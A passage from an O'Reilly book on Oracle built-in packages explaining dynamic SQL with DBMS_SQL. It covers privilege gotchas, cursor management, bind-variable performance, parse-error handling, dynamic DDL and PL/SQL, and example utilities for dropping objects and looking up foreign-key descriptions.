  • Roles are disabled when compiling and executing PL/SQL code. Privileges must be granted directly in order to be used with PL/SQL code. So when you execute dynamic SQL from within a PL/SQL program, you must have directly granted privileges to any database objects referenced in the dynamically constructed string.

The following anecdotes demonstrate the kinds of problems you can face with dynamic SQL.

2.4.2.1 The tale of Jan

Jan is a sharp DBA. She keeps up on the latest in Oracle technology, both within her discipline and in the wider array of Oracle software. When Oracle Server Release 7.1 hit the street, she checked for new features and came across the built-in DBMS_SQL package. DBMS_SQL, she discovered, allows you to execute dynamic SQL and PL/SQL from within PL/SQL programs.

Jan immediately saw the possibilities and built herself a suite of procedures to perform DBA tasks, all inside that most wonderful of PL/SQL constructs, the package. Among other great features, the Janfast/jandyn package she developed contains a procedure called create_index to create an index for any table and column(s) on the table. The code for this procedure is shown at the beginning of this chapter.

Jan installed the Janfast/jandyn package in the JANDBA account (what can I say? She likes her name!) and granted EXECUTE privilege on that package to all users, including her account named (yep, you guessed it) JAN. To make things even more exciting, she built an Oracle Forms front-end to her package (Janfast/jandyn). She could then take advantage of the stored code through a fill-in-the-form interface, rather than the command-line approach of SQL*Plus.

One day Jan receives a call: it seems that the company has added many employees over the years, and the emp table now has six million rows. All of the user accounts (working against a shared data source in the PERSONNEL Oracle account) are experiencing serious performance problems. A new index (at least one) is needed on the emp table to improve query performance.

So Jan connects to the production PERSONNEL account and starts up Janfast/jandyn. Just a few keystrokes and mouse clicks later, she has constructed the following statement,

jandyn.create_index ('empname_idx', 'emp', 'ename, sal');

which is to say: create an index named empname_idx on the emp table on the ename and sal columns (in that order). She clicks on the Execute button and Janfast does its thing. Notified through a chime of the successful completion of her task, Jan is impressed at how rapidly the index was built. She notifies the application development team that all is better now. Fifteen minutes of quiet contemplation pass before she gets an angry call from a developer: "The performance hasn't changed one bit!" he says angrily. "The screens still work just as slowly as before when I try to search for an employee by name."

Jan the DBA is bewildered and quickly runs the following script to examine the indexes on the emp table:

SQL> SELECT i.index_name, i.tablespace_name,
            uniqueness u, column_name col, column_position pos
       FROM all_indexes i, all_ind_columns c
      WHERE i.index_name = c.index_name
        AND i.table_name = 'EMP';

INDEX_NAME       TABLESPACE_NAME      U         COL       POS
---------------- -------------------- --------- --------- ---
EMP_PRIMARY_KEY  USER_DATA            UNIQUE    EMPNO       1

There is no empname_idx index! What has gone wrong? Where did the index go? How and why did Janfast/jandyn fail our industrious and creative database administrator?

Remember: when you execute stored code, you run it under the privileges of the owner of that code, not the privileges of the account that called the program. When Jan executed the index creation statement from within a call to jandyn.creind, the DDL statement was processed as though it were being executed by JANDBA, not by PERSONNEL. If the DBA had wanted to create an index in her own schema, she should have entered the following command:

jandyn.creind
   ('personnel.empname_idx', 'personnel.emp', 'ename, sal');

If this command had been executed, Jan would have had a much better chance at solving her performance problems.

2.4.2.2 The tale of Scott

Here's another common gotcha: my SCOTT account has been granted the standard CONNECT and RESOURCE roles. As a result, I can create a table as follows:

SQL> CREATE TABLE upbeat (tempo NUMBER);

Table created

Now suppose that I have created a little program to make it easier for me to execute DDL from within PL/SQL:

/* Filename on companion disk: runddl.sp */*
CREATE OR REPLACE PROCEDURE runddl (ddl_in in VARCHAR2)
IS
   cur INTEGER:= DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur, ddl_in, DBMS_SQL.V7);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

I then issue the same CREATE TABLE statement as before, this time within PL/SQL, but now I get an error:

SQL> exec runddl ('CREATE TABLE upbeat (tempo NUMBER)');
*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 239

Don't beat your head against the wall when this happens! Just remember that role-based privileges do not help you when executing SQL from within PL/SQL. The RESOURCE role is ignored when the CREATE TABLE statement is executed. SCOTT doesn't have any CREATE TABLE privileges, so the dynamic SQL fails.

2.4.3 Combining Operations

Every PARSE must be preceded by a call to OPEN_CURSOR. Every call to PARSE must include a DBMS mode argument, even though 99.99% of the time, it is going to be DBMS_SQL.NATIVE.

When I find myself repeating the same steps over and over again in using a package or particular feature, I look for ways to bundle these steps into a single procedure or function call to save myself time. The next function shows such a function, open_and_parse, which opens a cursor and parses the specified SQL statement. Using open_and_parse, I can replace the following statements,

cursor_handle := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE (cursor_handle, 'UPDATE emp ... ', DBMS_SQL.NATIVE);

with just this:

cursor_handle := open_and_parse ('UPDATE emp ... ');

Here, then, is the open_and_parse bundled procedure:

/* Filename  on companion disk: openprse.sf */*
CREATE OR REPLACE FUNCTION open_and_parse
   (sql_statement_in IN VARCHAR2,
    dbms_mode_in IN INTEGER := DBMS_SQL.NATIVE)
RETURN INTEGER
IS
   /* Declare cursor handle and assign it a pointer */
   return_value INTEGER := DBMS_SQL.OPEN_CURSOR;
BEGIN
   /* Parse the SQL statement */
   DBMS_SQL.PARSE (return_value, sql_statement_in, dbms_mode_in);

   /* Pass back the pointer to this parsed statement */
   RETURN return_value;
END;

Now, one problem with this otherwise handy little procedure is that it always declares a new cursor. What if you already have a cursor? Then you should go straight to the parse step. You can combine the functionality of open_and_parse with the initcur procedure shown in the next section to produce your own enhanced program.

2.4.4 Minimizing Memory for Cursors

As noted earlier, you will not want to allocate a cursor via the OPEN_CURSOR procedure if you can instead use an already defined cursor that is not currently in use. The best way to minimize memory usage with dynamic SQL cursors is to encapsulate the open action inside a procedure. The initcur procedure shown below demonstrates this technique.

With initcur, you pass a variable into the procedure. If that variable points to a valid, open DBMS_SQL cursor, then it is returned unchanged. If, on the other hand, that cursor is closed (the IS_OPEN function returns FALSE) or IS_OPEN for any reason raises the INVALID_CURSOR exception, then OPEN_CURSOR is called and the new cursor pointer is returned.

CREATE OR REPLACE PROCEDURE initcur (cur_inout IN OUT INTEGER) IS
BEGIN
   IF NOT DBMS_SQL.IS_OPEN (cur_inout)
   THEN
      cur_inout := DBMS_SQL.OPEN_CURSOR;
   END IF;
EXCEPTION
   WHEN invalid_cursor
   THEN
      cur_inout := DBMS_SQL.OPEN_CURSOR;
END;
/

You could also implement this functionality as a function, or could overload both inside a package, as follows:

CREATE OR REPLACE PACKAGE dyncur
IS
    PROCEDURE initcur (cur_inout IN OUT INTEGER);
    FUNCTION initcur (cur_in IN INTEGER) RETURN INTEGER;
END dyncur;
/

In addition to allocating cursor areas only when necessary, you should make sure that you close your cursors when you are done with them. Unlike static cursors, which close automatically when their scope terminates, a dynamic SQL cursor will remain open even if the block in which it was defined finishes execution. And remember that you should perform the close operation at the end of the executable code, but also in any exception sections in the block. This technique is shown here:

CREATE OR REPLACE PROCEDURE do_dynamic_stuff
IS
   cur1 INTEGER := DBMS_SQL.OPEN_CURSOR;
   cur2 INTEGER := DBMS_SQL.OPEN_CURSOR;

   PROCEDURE closeall IS
   BEGIN
      /* Only close if open. Defined in Closing the Cursor section. */
      closeif (cur1);
      closeif (cur2);
   END;
BEGIN
   /* Do the dynamic stuff, then close the cursors.*/
   ...
   closeall;
EXCEPTION
   WHEN DUP_VAL_ON_INDEX
   THEN
      /* Special handling, then cleanup */
      ...
      closeall;

   WHEN OTHERS
   THEN
      /* Catch-all cleanup, then reraise to propagate out the error.*/
      closeall;
      RAISE;
END;
/

The openprse.ssp file contains a package that implements both the initcur and an enhanced version of open_and_parse (see the section called Section 2.4.3, "Combining Operations"). This package allows you to keep to an absolute minimum the number of cursors allocated to perform dynamic SQL operations.

2.4.5 Improving the Performance of Dynamic SQL

You can improve the performance of your dynamic SQL operations by taking advantage of two aspects of DBMS_SQL:

  • Reuse DBMS_SQL cursors whenever possible (this technique was demonstrated in the last section).

  • Avoid reparsing your dynamic SQL when the only thing that changes is a bind variable.

The following script (written with the help of John Beresniewicz) demonstrates the gains you can see by paying attention to both of these considerations. The script illustrates three different ways to do the same thing in dynamic SQL using DBMS_SQL, namely fetch rows from a table.

  • Approach 1 parses and executes each query without using any bind variables. It is the most inefficient, performing 1000 parses, executing 1000 statements, and requiring room in the shared pool for up to 1000 different SQL statements.

  • Approach 2 parses and executes for each query, but uses bind variables, so it works a bit more efficiently. With this approach, you still perform 1000 parses and execute 1000 times, but at least you need room for only one SQL statement in the shared pool.

  • Approach 3 parses just once and executes each query using host variables. It is by far the most efficient technique: requiring just one parse, 1000 executions, and a single preparsed SQL statement in the shared pool.

I have used a very large and cumbersome SELECT in this test to make sure that there was enough overhead in parsing to both simulate a "real-world" query and also to demonstrate a clear difference in performance between the second and third approaches (for very simple SQL statements, you will not see too much of a difference). For the sake of brevity, I will not show the entire query in the code.

/* Filename on companion disk: effdsql.tst */*
DECLARE
/*
|| Approach 1: the worst
*/
   v_start INTEGER;
   cursor_id INTEGER;
   exec_stat INTEGER;
BEGIN
   v_start := DBMS_UTILITY.GET_TIME;
   cursor_id := DBMS_SQL.OPEN_CURSOR;
   FOR i IN 1..&1
   LOOP
      /*
      || parse and excecute each loop iteration
      || without using host vars, this is worst case
      */
      DBMS_SQL.PARSE (cursor_id, 'SELECT ...', DBMS_SQL.native);
      exec_stat := DBMS_SQL.EXECUTE(cursor_id);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR(cursor_id);
   DBMS_OUTPUT.PUT_LINE
      ('Approach 1: ' || TO_CHAR (DBMS_UTILITY.GET_TIME - v_start));
END;
/
DECLARE
/*
|| Approach 2: a little better
*/
   v_start INTEGER;
   cursor_id INTEGER;
   exec_stat INTEGER;
BEGIN
   v_start := DBMS_UTILITY.GET_TIME;
   cursor_id := DBMS_SQL.OPEN_CURSOR;
   FOR i IN 1..&1
   LOOP
      /*
      || parse and excecute each loop iteration using host vars
      */
      DBMS_SQL.PARSE (cursor_id, 'SELECT ...', DBMS_SQL.native);
      DBMS_SQL.BIND_VARIABLE(cursor_id,'i',i);
      exec_stat := DBMS_SQL.EXECUTE(cursor_id);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR(cursor_id);
   DBMS_OUTPUT.PUT_LINE
      ('Approach 2: ' || TO_CHAR (DBMS_UTILITY.GET_TIME - v_start));
END;
/
DECLARE
/*
|| Approach 3: the best
*/
   v_start INTEGER;
   cursor_id INTEGER;
   exec_stat INTEGER;
BEGIN
   v_start := DBMS_UTILITY.GET_TIME;
   cursor_id := DBMS_SQL.OPEN_CURSOR;
   /*
   || Parse first, outside of loop
   */
   DBMS_SQL.PARSE (cursor_id, 'SELECT ...', DBMS_SQL.native);
   FOR i IN 1..&1
   LOOP
      /*
      || bind and excecute each loop iteration using host vars
      */
      DBMS_SQL.BIND_VARIABLE(cursor_id,'i',i);
      exec_stat := DBMS_SQL.EXECUTE(cursor_id);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR(cursor_id);
   DBMS_OUTPUT.PUT_LINE
      ('Approach 3: ' || TO_CHAR (DBMS_UTILITY.GET_TIME - v_start));
END;
/

And here are the results from running this script twice:

SQL>  @effdsql.tst 10000
Approach 1: 860
Approach 2: 981
Approach 3: 479

2.4.6 Problem-Solving Dynamic SQL Errors

Sometimes the hardest aspect to building and executing dynamic SQL programs is getting the string of dynamic SQL right. You might be combining a list of columns in a query with a list of tables and then a WHERE clause that changes with each execution. You have to concatenate that stuff together, getting the commas right, and the ANDs and ORs right, and so on. What happens if you get it wrong? Well, let's take the nightmare scenario and work it through.

I am building the most complicated PL/SQL application ever. It uses dynamic SQL left and right, but that's OK. I am a pro at dynamic SQL. I can, in a flash, type OPEN_CURSOR, PARSE, DEFINE_COLUMN, and other commands. I know the right sequence, I know how to detect when there are no more rows to fetch, and I blast through the development phase. I also rely on some standard exception-handling programs I have built that display an error message when encountered.

Then the time comes to test my application. I build a test script that runs through a lot of my code; I place it in a file named testall.sql. With trembling fingers I start my test:

SQL> @testall

And, to my severe disappointment, here is what shows up on my screen:

ORA-00942: table or view does not exist
ORA-00904: invalid column name
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression
ORA-00911: invalid character

Ugh. A whole bunch of error messages, clearly showing that various SQL statements have been constructed improperly and are causing parse errors -- but which SQL statements are the troublemakers? That is a very difficult question to answer. One way to get at the answer is to place all calls to the PARSE procedure inside an exception section and then display the string causing the error.

CREATE OR REPLACE PROCEDURE whatever
IS
   v_sql VARCHAR2(32767);
BEGIN
   construct_sql (v_sql);

   DBMS_SQL.PARSE (cur, v_sql, DBMS_SQL.NATIVE);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE ('Error in ' || v_sql);
END;
/

This certainly would have helped explain those earlier error messages. The problem with this approach is that I would need to build this exception section every time I call PARSE. I also might be raising exceptions from lines of code other than those containing the call to PARSE. How could I distinguish between the errors and the information I should display? Furthermore, I might discover after writing the previous code ten or twenty times that I need more information, such as the error code. I would then have to go back to all those occurrences and enhance them. This is a very tedious, high-maintenance, and generally nonproductive way of doing things.

A different and better approach is to provide your own substitute for PARSE that encapsulates, or hides away, all of these details. You don't have to add exception sections in each call to this substitute, because it would come with its own exception section. And if you decide you want to do things differently, you just change this one program. Doesn't that sound so much better?

Let's go through the steps involved in creating a layer over PARSE that enhance its error-detection capabilities. First, we will build the interface to the underlying DBMS_SQL call. That is easy enough:

/* Filename on companion disk: dynsql.spp */*
/* Final version of package */
CREATE OR REPLACE PACKAGE dynsql
IS
   PROCEDURE parse
      (cur IN INTEGER,
       sqlstr IN VARCHAR2,
       dbmsmode IN INTEGER := NULL);
END;
/

Why did I bother to put this single procedure inside a package? I always start with packages, because sooner or later I want to add more related functionality, or I need to take advantage of package features, like persistent data. In this case, I could foresee providing an overloaded parse function, which opens and returns a cursor. I also expect to be defining some package data pertaining to error information, which would require a package.

Notice that the parse procedure looks just like the DBMS_SQL version, except that the database mode has a default value of NULL (which will translate into DBMS_SQL.NATIVE). This way (a) you do not have to bother with providing a mode, and (b) the default value is not a packaged constant, which could cause problems for calling this program from within Oracle Developer Release 1.

It would be a good idea to compare using DBMS_SQL with dynsql before we even try to implement this package; that will be a validation of the design of the interface. So instead of this,

DECLARE
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur, 'CREATE INDEX ... ', DBMS_SQL.NATIVE);

I could use dynsql.parse as follows:

DECLARE
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
BEGIN
   dynsql.parse (cur, 'CREATE INDEX ... ');

I get to write a little bit less code, but that isn't really the main objective. I just want to make sure that I can do whatever I can do with DBMS_SQL (with parse, anyway) through dynsql. Now let's build the package body and add some value:

CREATE OR REPLACE PACKAGE BODY dynsql
IS
   PROCEDURE parse
      (cur IN INTEGER, sqlstr IN VARCHAR2, dbmsmode IN INTEGER := NULL)
   IS
   BEGIN
      DBMS_SQL.PARSE (cur, sqlstr, NVL (dbmsmode, DBMS_SQL.NATIVE));
   EXCEPTION
      WHEN OTHERS
      THEN
         DBMS_OUTPUT.PUT_LINE ('Error in ' || sqlstr);
   END;
END;
/

With this program installed, I can replace all calls to PARSE with dynsql.parse and then see precisely which dynamic SQL statements are causing me problems. As I mentioned earlier, though, I really want to get more information. Suppose, for example, that I needed to see the error number (as surely I would), as well as the position in the SQL statement in which the error was detected. No problem! I just go to the package body and add a couple lines of code:

CREATE OR REPLACE PACKAGE BODY dynsql
IS
   PROCEDURE parse
      (cur IN INTEGER, sqlstr IN VARCHAR2, dbmsmode IN INTEGER := NULL)
   IS
   BEGIN
      DBMS_SQL.PARSE (cur, sqlstr, NVL (dbmsmode, DBMS_SQL.NATIVE));
   EXCEPTION
      WHEN OTHERS
      THEN
         DBMS_OUTPUT.PUT_LINE ('Parse error: ' || TO_CHAR (SQLCODE) ||
            ' at position ' || TO_CHAR (DBMS_SQL.LAST_ERROR_POSITION));
         DBMS_OUTPUT.PUT_LINE ('SQL string: ' || sqlstr);
   END;
END;
/

This should put me in good stead, except for one problem: what if my SQL string is more than 243 bytes in length? The PUT_LINE procedure will raise a VALUE_ERROR if the string passed to it exceeds 255 bytes in length. What an annoyance! But since I have had the foresight to hide all my calls to PARSE away in this single program, I can even address this difficulty. PL/Vision Lite[1] offers a display_wrap procedure in the PLVprs package. So I can avoid any VALUE_ERROR exceptions as follows:

[1] This software comes with my book Advanced Oracle PL/SQL Programming with Packages (O'Reilly & Associates, 1996). You can also download it from http://www.revealnet.com.

CREATE OR REPLACE PACKAGE BODY dynsql
IS
   PROCEDURE parse
      (cur IN INTEGER, sqlstr IN VARCHAR2, dbmsmode IN INTEGER := NULL)
   IS
   BEGIN
      DBMS_SQL.PARSE (cur, sqlstr, NVL (dbmsmode, DBMS_SQL.NATIVE));
   EXCEPTION
      WHEN OTHERS
      THEN
         DBMS_OUTPUT.PUT_LINE ('Parse error: ' || TO_CHAR (SQLCODE) ||
            ' at position ' || TO_CHAR (DBMS_SQL.LAST_ERROR_POSITION));
         PLVprs.display_wrap ('SQL string: ' || sqlstr);
   END;
END;
/

See how easy it is to upgrade your programs and fix shortcomings once you have encapsulated your repetitive actions behind a programmatic interface?

2.4.7 Executing DDL in PL/SQL

DBMS_SQL allows you to execute almost any DDL statements from within PL/SQL. Here are some considerations to keep in mind:

  • You should explicitly execute and then close your DDL cursors. Currently, Oracle will automatically execute DDL statements when they are parsed with a call to PARSE. Oracle Corporation warns users of DBMS_SQL that this behavior might not be supported in the future.

  • You cannot establish a new connection to Oracle through PL/SQL. You cannot, in other words, issue a CONNECT command from within PL/SQL; you will get an "ORA-00900: invalid SQL statement" error. From this, one can deduce that CONNECT is not a SQL statement. It is, rather, a SQL*Plus command.

  • You must have the necessary privileges to execute that DDL statement granted explicitly to the account owning the program in which the DDL is being run. Remember that roles are disabled during PL/SQL compilation and execution. If you want to create a table using dynamic SQL, you must have CREATE TABLE or CREATE ANY TABLE privileges granted directly to your schema.

  • Your dynamic DDL execution can result in your program hanging. When I call a procedure in a package, that package is locked until execution of that program ends. If another program attempts to obtain a conflicting lock (this might occur if you try to drop that package using dynamic DDL), that program will lock waiting for the other program to complete execution.

2.4.8 Executing Dynamic PL/SQL

Dynamic PL/SQL is an awful lot of fun. Just think: you can construct your PL/SQL block "on the fly" and then execute it from within another PL/SQL program. Here are some factors to keep in mind as you delve into this relatively esoteric aspect of PL/SQL development:

  • The string you execute dynamically must start with a DECLARE or BEGIN statement and terminate with "END." It must, in other words, be a valid anonymous block.

  • The string must end with a semicolon, unlike DDL and DML statements, which cannot end with a semicolon.

  • The dynamic PL/SQL block executes outside the scope of the block in which the EXECUTE function is called, but that calling block's exception section will trap exceptions raised by the dynamic PL/SQL execution.

  • As a direct consequence of the previous rule, you can only reference globally available data structures and program elements from within the dynamic PL/SQL block.

Let's explore those last two restrictions so as to avoid any confusion. First of all, I will build a little utility to execute dynamic PL/SQL.

/* Filename on companion disk: dynplsql.sp */*
CREATE OR REPLACE PROCEDURE dyn_plsql (blk IN VARCHAR2)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur,
      'BEGIN ' || RTRIM (blk, ';') || '; END;',
      DBMS_SQL.NATIVE);

   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

This one program encapsulates many of the rules mentioned previously for PL/SQL execution. It guarantees that whatever I pass in is executed as a valid PL/SQL block by enclosing the string within a BEGIN-END pairing. For instance, I can execute the calc_totals procedure dynamically as simply as this:

SQL> exec dyn_plsql ('calc_totals');

Now let's use this program to examine what kind of data structures you can reference within a dynamic PL/SQL block. In the following anonymous block, I want to use DBMS_SQL to assign a value of 5 to the local variable num:

<<dynamic>>
DECLARE
   num NUMBER;
BEGIN
   dyn_plsql ('num := 5');
END;
/

This string is executed within its own BEGIN-END block, which would appear to be a nested block within the anonymous block named "dynamic" with the label. Yet when I execute this script I receive the following error:

PLS-00302: component 'NUM' must be declared
ORA-06512: at "SYS.DBMS_SYS_SQL", line 239

The PL/SQL engine is unable to resolve the reference to the variable named num. I get the same error even if I qualify the variable name with its block name.

<<dynamic>>
DECLARE
   num NUMBER;
BEGIN
   /* Also causes a PLS-00302 error! */
   dyn_plsql ('dynamic.num := 5');
END;
/

Now suppose that I define the num variable inside a package called dynamic:

CREATE OR REPLACE PACKAGE dynamic
IS
   num NUMBER;
END;
/

I am then able to execute the dynamic assignment to this newly defined variable successfully.

BEGIN
   dyn_plsql ('dynamic.num := 5');
END;
/

What's the difference between these two pieces of data? In the first attempt, the variable num is defined locally in the anonymous PL/SQL block. In my second attempt, num is a public "global" defined in the dynamic package. This distinction makes all the difference with dynamic PL/SQL.

It turns out that a dynamically constructed and executed PL/SQL block is not treated as a nested block. Instead, it is handled like a procedure or function called from within the current block. So any variables local to the current or enclosing blocks are not recognized in the dynamic PL/SQL block. You can only make references to globally defined programs and data structures. These PL/SQL elements include stand alone functions and procedures and any elements defined in the specification of a package.

Fortunately, the dynamic block is executed within the context of the calling block. If you have an exception section within the calling block, it will trap exceptions raised in the dynamic block. So if I execute this anonymous block in SQL*Plus,

BEGIN
   dyn_plsql ('undefined.packagevar := ''abc''');
EXCEPTION
   WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE (sqlcode);
END;
/

I will not get an unhandled exception.

The dynpl/sql.tst file compares the performance of static PL/SQL execution (assigning a value to a global variable) with dynamic PL/SQL.

Previous: 2.3 The DBMS_SQL Interface | Oracle Built-in Packages | Next: 2.5 DBMS_SQL Examples
2.3 The DBMS_SQL Interface | Book Index | 2.5 DBMS_SQL Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 2] 2.5 DBMS_SQL Examples

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

2.5 DBMS_SQL Examples

This section contains extended examples of using the DBMS_SQL package.

2.5.1 A Generic Drop_Object Procedure

The dynamic SQL of DBMS_SQL allows you to create completely generic modules to manipulate objects in the Oracle7 Server. You can, for instance, write a procedure that drops the specified table, but you can also create a module that will drop whatever kind of object you specify, as shown in this first version of drop_object:

CREATE OR REPLACE PROCEDURE drop_object
   (type_in IN VARCHAR2, name_in IN VARCHAR2)
IS
   /* Declare and create a cursor to use for the dynamic SQL */
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   /* Construct the SQL statement, parse it and execute it. */
   DBMS_SQL.PARSE
      (cur, 'DROP ' || type_in || ' ' || name_in, DBMS_SQL.NATIVE);

   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Well, that was straightforward enough. But how useful is it? Sure, it lets me execute DDL in PL/SQL, which wasn't possible before. But assuming that I have written this procedure as part of a broader interface to manage database objects from a screen, it is fairly limited. It is, in fact, simply equivalent to a DROP OBJECT statement. Boooring. Why not utilize the flexibility of the PL/SQL language to provide additional productivity, above and beyond the "straight" DDL? Wouldn't it be nice to, for example, drop all packages with names like "STR%" or drop all objects of any type in a schema with a single command?

To implement these kinds of requests, I need to let the user pass in wildcarded object names and types. I can then use these values to identify N number of matching objects. Where are these objects defined? In the USER_OBJECTS or ALL_OBJECTS data dictionary view. Interestingly, then, in my final version of drop_object, I combine the use of both static and dynamic SQL to add value to the standard DROP OBJECT command:

/* Filename on companion disk: dropobj.sp */*
CREATE OR REPLACE PROCEDURE drop_object
   (type_in IN VARCHAR2, name_in IN VARCHAR2)
IS
   /* The static cursor retrieving all matching objects */
   CURSOR obj_cur IS
      SELECT object_name, object_type
        FROM user_objects
       WHERE object_name LIKE UPPER (name_in)
         AND object_type LIKE UPPER (type_in)
       ORDER BY object_name;

   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   /* For each matching object ... */
   FOR obj_rec IN obj_cur
   LOOP
      /* Reusing same cursor, parse and execute the drop statement. */
      DBMS_SQL.PARSE
         (cur,
          'DROP ' || obj_rec.object_type || ' ' || obj_rec.object_name,
          DBMS_SQL.NATIVE);

      fdbk := DBMS_SQL.EXECUTE (cur);
   END LOOP;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Using this enhanced utility, I can now remove all objects in my schema that are used in the Order Entry system with this single command:

SQL> exec drop_object ('%', 'oe%');

Or I could be more selective and simply drop all tables containing the substring "emp."

SQL> exec drop_object ('table', '%emp%');

The drop_object procedure demonstrates the flexiblity and power that PL/SQL can bring to administrative tasks. It also clearly points out the inherent dangers of this power. With drop_object in place, you can remove everything in your schema with one program! Use this procedure -- and any other similar utilities you build -- with the utmost of care.

2.5.2 A Generic Foreign Key Lookup Function

I am always looking for ways to cut down on the code I need to write to maintain foreign keys in Oracle-based applications. For all its great features, Oracle Forms -- just like its predecessor, SQL*Forms V3 -- does not offer comprehensive support for handling foreign keys. Sure, there is the LOV object and its associated record group, which can be used to look up and validate entries on the screen. This object cannot, however, be used to perform Post-Query lookups of a foreign key's description -- a ubiquitous operation in an application built on a normalized database.

This same lookup process could also take place in a report, in a graph, in an embedded C program, and so on. Before the advent of DBMS_SQL, the only solution was to build a function for each separate entity that serves as a foreign key in a table. This function would take the foreign key and return the name or description. The specifications for such functions would look like these,

FUNCTION caller_name (caller_id IN caller.caller_id%TYPE)
   RETURN VARCHAR2;

FUNCTION company_name (company_id IN company.company_id%TYPE)
   RETURN VARCHAR2;

FUNCTION company_type (company_type_cd IN company.company_type_cd%TYPE)
   RETURN VARCHAR2;

and so on, for as many foreign keys as you've got. And every time a new foreign key is added to the mix, you must write a new function.

Wouldn't it be just fabulous if you could construct a single generic function using dynamic SQL that would work for all foreign keys? Let's give it a shot.

First, what information would I need to pass to this function in order to construct the SQL statement to retrieve the name or description? Here are some possibilities:

Foreign key value

The ID or code of the record we wish to locate.

Table name

The table containing the record identified by the foreign key value.

Primary key column name

The name of the column in the previous table that contains the foreign key value (in this, the "source table" for the foreign key, it is actually the table's primary key).

Primary key name or description column name

The name of the column in the previous table that contains the name or description of the primary key.

These parameters would allow me to construct SQL statements that look like the following:

SELECT caller_nm FROM caller WHERE caller_id = 154
SELECT call_type_nm FROM call_type WHERE call_type_id = 2

The steps I need to perform are straightforward:

  1. Construct the SQL statement along the lines of the examples.

  2. Fetch the matching record.

  3. Retrieve the value from the cursor and return it to the calling program.

My first version of this function, fk_name, shows a generic function that returns the name and description of a foreign key.

/* Filename on companion disk: fkname.sf */*
CREATE OR REPLACE FUNCTION fk_name
   (fk_id_in IN INTEGER,
    fk_table_in IN VARCHAR2,
    fk_id_col_in IN VARCHAR2,
    fk_nm_col_in IN VARCHAR2)
RETURN VARCHAR2
IS
   /* Declare and obtain a pointer to a cursor */
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;

   /* Variable to receive feedback from package functions */
   fdbk INTEGER;
   /*
   || The return value of the function. Notice that I have
   || to hardcode a size in my declaration.
   */
   return_value VARCHAR2(100) := NULL;
BEGIN
   /*
   || Parse the query. I construct most of the SQL statement from
   || the parameters with concatenation. I also include a single
   || bind variable for the actual foreign key value.
   */
   DBMS_SQL.PARSE
      (cur,
       'SELECT ' || fk_nm_col_in ||
       '  FROM ' || fk_table_in ||
       ' WHERE ' || fk_id_col_in || ' = :fk_value',
       DBMS_SQL.NATIVE);

   /* Bind the variable with a specific value -- the parameter */
   DBMS_SQL.BIND_VARIABLE (cur, 'fk_value', fk_id_in);

   /* Define the column in the cursor for the FK name */
   DBMS_SQL.DEFINE_COLUMN (cur, 1, fk_nm_col_in, 100);
   /* Execute the cursor, ignoring the feedback */
   fdbk := DBMS_SQL.EXECUTE (cur);

   /* Fetch the row. If feedback is 0, no match found */
   fdbk := DBMS_SQL.FETCH_ROWS (cur);
   IF fdbk > 0
   THEN
      /* Found a match. Extract the value/name for the key */
      DBMS_SQL.COLUMN_VALUE (cur, 1, return_value);
   END IF;
   /*
   || Close the cursor and return the description, which
   || could be NULL if no records were fetched.
   */
   DBMS_SQL.CLOSE_CURSOR (cur);
   RETURN return_value;
END;
/

I can now use this function in a Post-Query trigger in Oracle Forms, as follows:

:call.name :=
   fk_name (:call.caller_id, 'caller', 'caller_id', 'caller_nm');

:call.call_type_ds :=
   fk_name (:call.call_type_id,
            'call_type', 'call_type_id', 'call_type_nm');

Well, that was fun. I now have a generic look-up for foreign keys. Instead of stopping at this point, however, let's explore some ways to improve the functionality and ease of use of this function. Several things caught my eye on the first pass:

  • The programmer has to type in a lot of information in the parameter list in order to look up the foreign key. One might argue that it is almost as easy to type a SQL statement. While that's not true, I have found that programmers are resistant to using new toys unless their advantage is overwhelming.

  • The size of the value returned by COLUMN_VALUE is hardcoded at 100 bytes. Any sort of hardcoding is always something to be avoided.

  • There is a clear pattern to the names of the tables and columns in the previous examples. The foreign key column is always the table name with an "_ID" suffix. The description column is always the table name with an "_NM" suffix. It seems to me that the function should be able to take advantage of these kinds of naming conventions.

  • The function assumes that the datatype of the foreign key is INTEGER; I have encountered many tables with VARCHAR2 foreign keys. True, the reasons are usually suspect, but it happens just the same.

Can I change fk_name to handle some of these concerns? I can certainly add a parameter with a maximum name length to use in the call to COLUMN_VALUE. I can support VARCHAR2 datatypes for foreign keys by placing the function inside a package and overloading the definition of the function. What about all those parameters and the naming conventions? Ideally, I would like to allow a developer to call fk_name with no more information than in the following examples:

:call.name := fk_name (:call.caller_id, 'caller');

:call.call_type_ds := fk_name (:call.call_type_id, 'call_type');

In this scenario, the function would use the name of the table to generate the names of the key and name columns and stuff them into the SQL statement. Sounds reasonable to me. The second version of fk_name supports default names for these two columns.

